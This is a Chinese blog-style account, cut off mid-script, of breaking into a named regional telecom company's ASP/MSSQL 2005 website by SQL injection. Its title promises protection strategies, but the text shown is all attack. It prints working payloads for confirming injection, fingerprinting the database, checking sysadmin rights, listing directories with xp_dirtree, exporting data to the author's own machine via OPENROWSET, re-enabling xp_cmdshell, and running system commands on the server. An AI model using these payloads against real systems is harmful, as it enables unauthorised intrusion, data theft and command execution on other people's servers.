MSSQL2005数据库注入攻击原理与安全防护策略详解

在电信级系统中，通常采用大型数据库并支持高速搜索，这几乎是行业共识。然而，兰州市电信的号码百事通网站竟然运行在IIS和ASP架构上，这让我颇感意外。ASP技术对脚本小子们来说早已驾轻就熟，对吧？更关键的是，他们并未使用FSO生成静态页面，而是直接将动态查询暴露给用户，这无疑增加了安全风险。

当然，作为电信官网，注入点并不容易找到。我尝试了多个注入点，均以失败告终。随后，我将目光转向那些偏门的URL链接——根据经验，约80%的程序员会在这些边缘路径上疏忽大意。果然，一次经典的“and 0=0”与“and 0=1”测试，返回了截然不同的结果。数字型注入确认存在。

接下来需要判断数据库类型。ASP后端通常有80%的可能使用MSSQL，但也有例外——例如之前遇到的二代身份证验证网站，就采用了ASP/ASPX配合Oracle的方案。这里直接尝试and exists(select @@version)--，返回正常。排除Oracle后，剩下Sybase或MSSQL。Sybase没有IS_SRVROLEMEMBER函数，而是用show_role判断权限。执行and 1=(select IS_SRVROLEMEMBER('sysadmin'))--，返回正常。好家伙，SA权限——管理员如此粗心，实在罕见。

既然是SA权限，直接使用我最熟悉的OPENROWSET。先建表：

create table c(dir ntext,num int,f int)--

然后插入数据：

insert c execute master..xp_dirtree 'c:\',1,1--

接着尝试将远程表导出到我的机器：

insert into OPENROWSET('SQLOLEDB','xxx.xxx.xxx.1';'sa';'p','select * from Northwind.dbo.dirtree') select * from c--

结果报错，提示不允许使用OPENROWSET。难道是MSSQL 2005的权限限制？那便开启它。SA权限在手，直接执行：

EXEC sp_configure 'Ad Hoc Distributed Queries',1;RECONFIGURE;--

接下来最担心的问题出现了：Web服务器与数据库服务器是否分离？如果是分离的，操作会麻烦很多。先测试cmdshell。既然有SA权限，顺便把xp_cmdshell也打开：

EXEC sp_configure 'show advanced options', 1;RECONFIGURE;EXEC sp_configure 'xp_cmdshell', 1;RECONFIGURE;--

这一步其实可以省略添加扩展存储过程，但为了绕过防火墙，还是加上：

dbcc addextendedproc("xp_cmdshell","xplog70.dll");--

然后执行exec master..xp_cmdshell 'ping 自己IP'，防火墙检测到有对方IP在ping自己。接着再ping他的网站域名——发现IP竟然一致！Web和数据库运行在同一台服务器上，省去了不少麻烦。

既然在同一台机器，我直接在本地编写一个批处理脚本：

FOR /R "C:\" %%v IN (1.asp) DO echo ^